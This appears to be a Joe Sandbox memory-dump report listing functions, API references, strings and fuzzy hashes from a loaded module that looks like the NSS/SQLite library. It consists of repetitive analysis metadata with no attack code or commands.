Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Errormemcpymemset
String ID: UUUU
API String ID: 2691834222-1798160573
Opcode ID: 54d3fc07d85a48b724b1f91cfe2c8c05c39e9701c03f03b4ff4454dd81c7d37b
Instruction ID: a50d3d43cc5a8a1bc833531c5921318d75d005a1d6cda162c13dac281ab19e20
Opcode Fuzzy Hash: 54d3fc07d85a48b724b1f91cfe2c8c05c39e9701c03f03b4ff4454dd81c7d37b
Instruction Fuzzy Hash: D2D1F370A006119FDF14CF29C8646ABBBF6BF44315F188179E979DB281E739A885CF90

Function 6BA26900 Relevance: 6.3, Strings: 4, Instructions: 1257COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6BA27910
not authorized, xrefs: 6BA278EC, 6BA278F1
sqlite\_%, xrefs: 6BA26953
BBB, xrefs: 6BA27207, 6BA2780B

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: BBB$authorizer malfunction$not authorized$sqlite\_%
API String ID: 3412268980-2664116055
Opcode ID: 53b3a5df256fe80f07c1560c452ba9c5e67bee68d41cd870aaeb6ed13e22b769
Instruction ID: 8bef466be05371f0ff23ad4220f352845c1377dc2da920280aecf48f967a701f
Opcode Fuzzy Hash: 53b3a5df256fe80f07c1560c452ba9c5e67bee68d41cd870aaeb6ed13e22b769
Instruction Fuzzy Hash: 40C26D74E04215DFDF14CF58C480AA9BBB2FF89308F2881A9D915AB355D73AAD52CF90

Function 6BB0A8DC Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 6BB0A8EE
GetCurrentThreadId.KERNEL32 ref: 6BB0A8FD
GetCurrentProcessId.KERNEL32 ref: 6BB0A906
QueryPerformanceCounter.KERNEL32(?), ref: 6BB0A913

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 2b3960f883ba6122bf3893842a900298ee56e4541f4cc5c9845bd12137de2ed4
Instruction ID: 14cead5789176c45d8009ecaf20a8201c527ead8f0dcb64795d1105c135f7a4b
Opcode Fuzzy Hash: 2b3960f883ba6122bf3893842a900298ee56e4541f4cc5c9845bd12137de2ed4
Instruction Fuzzy Hash: ADF05F71C1020DEBCF00EBB4C689AAEBBF8EF19315F5148959412E7141DB74EB459F51

Function 6BB10B40 Relevance: 4.6, APIs: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.NSS3(?,?,?,?), ref: 6BB10B7C
sqlite3_bind_double.NSS3 ref: 6BB10BF1
sqlite3_bind_zeroblob.NSS3(?,?,00000000), ref: 6BB10C27

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_bind_doublesqlite3_bind_int64sqlite3_bind_zeroblob
String ID:
API String ID: 4141409403-0
Opcode ID: 6057e0c2e697e892bcccb09e6bff97265a4bf00086572a106b249507f49100fc
Instruction ID: 1e1ff9c076b10907606e23d7e5b110e5d57a3454af788dd0e4b415c4cd81ad4f
Opcode Fuzzy Hash: 6057e0c2e697e892bcccb09e6bff97265a4bf00086572a106b249507f49100fc
Instruction Fuzzy Hash: 95218A3194C550AFD7015B288C01D6FB7AAEF87B38F49C295F8541B292DB39D821C7D2

Function 6BA038E0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 967COMMON

Download Yara Rule

Strings

., xrefs: 6BA04611

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: f086bdaed75cfa90e9f89353cc52558d8513470e278f6b051a449d180f8af817
Instruction ID: 77a3fab03303cc336383d3f874eb7f48a5706a34fbbdd2e5ed95ce11f93a3bbb
Opcode Fuzzy Hash: f086bdaed75cfa90e9f89353cc52558d8513470e278f6b051a449d180f8af817
Instruction Fuzzy Hash: 67927E75A042198FDB24CF69D480BA9B7F2FF58318F258199D8499B392DB38E9D1CF40

Function 6BA359F0 Relevance: 3.9, Strings: 3, Instructions: 146COMMON

Download Yara Rule

Strings

20e, xrefs: 6BA35A4A
20b:20e, xrefs: 6BA35B42
20c:20e, xrefs: 6BA35A0F

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID: 20b:20e$20c:20e$20e
API String ID: 0-1687347449
Opcode ID: 8fb9afa9cf0edf8fba661c75b22a3bc6b6e6bdba0eb56133fb080596b9fbefa8
Instruction ID: 6eaecd11e8fba62f326d2c3237650008dd197e909f8de6a2e722eb60b347d445
Opcode Fuzzy Hash: 8fb9afa9cf0edf8fba661c75b22a3bc6b6e6bdba0eb56133fb080596b9fbefa8
Instruction Fuzzy Hash: B2510370D147588FCB02CF78C4D56AEFBF9AF0A324F18425AE556E6181E73995858B20

Function 6BA099D0 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 321COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-00000300,?), ref: 6BA09D4F

Strings

0, xrefs: 6BA09CFA

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpy
String ID: 0
API String ID: 3510742995-4108050209
Opcode ID: 0d6154786a549522dc9b1b6c7b10b3451a2ae6a6274f54e6c4a367f5e965e1b1
Instruction ID: b5555e5ba2952b699eb8d2f02a954aa8eca6949091deee75968cd5156051fb46
Opcode Fuzzy Hash: 0d6154786a549522dc9b1b6c7b10b3451a2ae6a6274f54e6c4a367f5e965e1b1
Instruction Fuzzy Hash: D8D16271E0420ADFDF44CFA8D5916AEB7F2FF89318F1480A9D515AB342DB399882CB50

Function 6BAAF8F0 Relevance: 3.2, APIs: 2, Instructions: 237COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(0000001C,00000000,00000000,00000000), ref: 6BAAFAAA
PR_SetError.NSS3(FFFFE002,00000000,?,?,00000000), ref: 6BAAFB3A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Errormemcpy
String ID:
API String ID: 4073637842-0
Opcode ID: f0f7237c64d07937c675c803d9504c22d5c3f4794508309283fea474679cdcb1
Instruction ID: 19a827b3e0521abeb1df0ff382ec27789671e55b3990e92c0cf1486aef30b5aa
Opcode Fuzzy Hash: f0f7237c64d07937c675c803d9504c22d5c3f4794508309283fea474679cdcb1
Instruction Fuzzy Hash: 44814F71A0011A9FDF08CF59C890AAEB7B6FF98314F194159E815E7340D736ED85CBA0

Function 6BAAFB60 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6BAAFD92
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6BAAFDC6

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 4b6c6263a332a038f14a0c4c70e378848a6a907228db8b34ca5bd7221e216679
Instruction ID: a84c469c14159f509a6f2a85d514c61f30a70f7fcd4c784da7ad54f6453490c4
Opcode Fuzzy Hash: 4b6c6263a332a038f14a0c4c70e378848a6a907228db8b34ca5bd7221e216679
Instruction Fuzzy Hash: D8A10F71A0021A9FDF08CF99D890AAEBBB6FF89314F14416DE915E7300D7399D51CBA0

Function 6BA049F0 Relevance: 1.9, APIs: 1, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 679602c1669dea66240946f2ce61fa338162df051e3c710b895de31afd8bf22c
Instruction ID: 5fc0dfc80af1ce55499f5cef2264fa03204b6a1985d4ed1d9f8dfac51b712c0e
Opcode Fuzzy Hash: 679602c1669dea66240946f2ce61fa338162df051e3c710b895de31afd8bf22c
Instruction Fuzzy Hash: 15525C74E002099FDF04CF59D480BAEBBB2FF99318F248159D915AB351DB39E982CB90

Function 6B9DD8E0 Relevance: 1.7, APIs: 1, Instructions: 439COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6B9DDB8B

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 41f69c45a2bfd050110d887861b73476b399d3d37a7d8d1c6101dd99304b2914
Instruction ID: 22d311597d7d441a0e0751a96e87ef541de950ed64ec5ba79b5b1fe4e1a50528
Opcode Fuzzy Hash: 41f69c45a2bfd050110d887861b73476b399d3d37a7d8d1c6101dd99304b2914
Instruction Fuzzy Hash: F9125C75E006098FDB08CFA9C4907ADBBB2FF89714F14816DD41AAB391D778A942CF94

Function 6BA3EBF0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6BA3EC05

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 45b6bca38f9daabc965623225c3581d808099ee011df85bb7a59b33544d9a08f
Instruction ID: c763cb1b8d4252fe88ddbbfc805e25ba4b54f54a0a2e4215a7e2fa0df37bd56b
Opcode Fuzzy Hash: 45b6bca38f9daabc965623225c3581d808099ee011df85bb7a59b33544d9a08f
Instruction Fuzzy Hash: C6E01231A0121C5B8B14AFA9D9955EEBBB8EF0E610B814455E9466B200EA21B9498BE2

Function 6BA08960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: 53543d371bf03b3e9437784d3fb623d0910d2493cc7b8c754e5d9d0b7dc828f7
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: 8DD18371F042168FDF48CEA8D4916AFB7F2FB89308F198569C556E7241DB389C81CB98

Function 6BAA1990 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8667ff27ada2d2ecc8540449738b82865e9231ba1b983625316a98a638bd97e1
Instruction ID: defbd670678272a0d58708cb09a7b33538606a4d8656d6f5bc8008bb255266fd
Opcode Fuzzy Hash: 8667ff27ada2d2ecc8540449738b82865e9231ba1b983625316a98a638bd97e1
Instruction Fuzzy Hash: 75C1D771E042659FEF11CE58C4813FEBBA2AB87314F0886A9D8655B386D33D9985C7B0

Function 6BB1F900 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a629c785689c6ab3576fb844c0fbf5273ef8b35364a6654b42561cc495e17de7
Instruction ID: cdcee0a0cbc1290201f4242fc4c6eab9c123c60391483ac8d557000f6ce85462
Opcode Fuzzy Hash: a629c785689c6ab3576fb844c0fbf5273ef8b35364a6654b42561cc495e17de7
Instruction Fuzzy Hash: A3B1026090D6D68EC7128E2884E03B5BBF2EB46318F6882DEC4E58E2D7D77E8442C751

Function 6B9E1980 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9464e8111e7c641c6b1299e6c8dcfca44428e29ef397aec573f2c11f35a6f920
Instruction ID: 8a9a6942005bfa71c3ad17396b49382c9ef590407623a2b218dd946e0e148bf8
Opcode Fuzzy Hash: 9464e8111e7c641c6b1299e6c8dcfca44428e29ef397aec573f2c11f35a6f920
Instruction Fuzzy Hash: E8711972F045358BDB068F69C8503BEB7E6AF87720F29426AC425D73D5E678C84287A1

Function 6BB2B8F0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID:
API String ID: 2619041689-0
Opcode ID: 2410507f3dea42e930d948f107b9233df8b71862cb9742c91de50946eebddf50
Instruction ID: 2f7faa4bcb96d6444147acf0a9200596670a6610374b9aa6b4affe8134dfe3c8
Opcode Fuzzy Hash: 2410507f3dea42e930d948f107b9233df8b71862cb9742c91de50946eebddf50
Instruction Fuzzy Hash: 4F717E71F002449FEB14DF69D8816AEB7F6EF99208F148069E848D7351EB38D986C791

Function 6BB59A50 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fc1e9671100d5d260594bbde092b8d897e9d8b52d9a71fbd45b8d07a5700f78
Instruction ID: b0dc2f926f6a0ea486569b06d22a01a7f94bc19b49036a249c0c983877f55358
Opcode Fuzzy Hash: 6fc1e9671100d5d260594bbde092b8d897e9d8b52d9a71fbd45b8d07a5700f78
Instruction Fuzzy Hash: 6861A1B3D006198FDB04CF98D88069DB7B2FF88320F2946A9C955B7386D374AD51CBA1

Function 6BA5A820 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 457c41ffd6edf23f6eae388765be37dc9af3a9bc692d82b08392a18f9cee2300
Instruction ID: 124bca64036f41fafd757392144839fadcfa5317f342944cd9df39cc319c41ee
Opcode Fuzzy Hash: 457c41ffd6edf23f6eae388765be37dc9af3a9bc692d82b08392a18f9cee2300
Instruction Fuzzy Hash: 81514172A00219CFDB04CF25D545B9A7BE6FF49704F1A80ADE8199B351D738DAA1CBA0

Function 6BAADA40 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
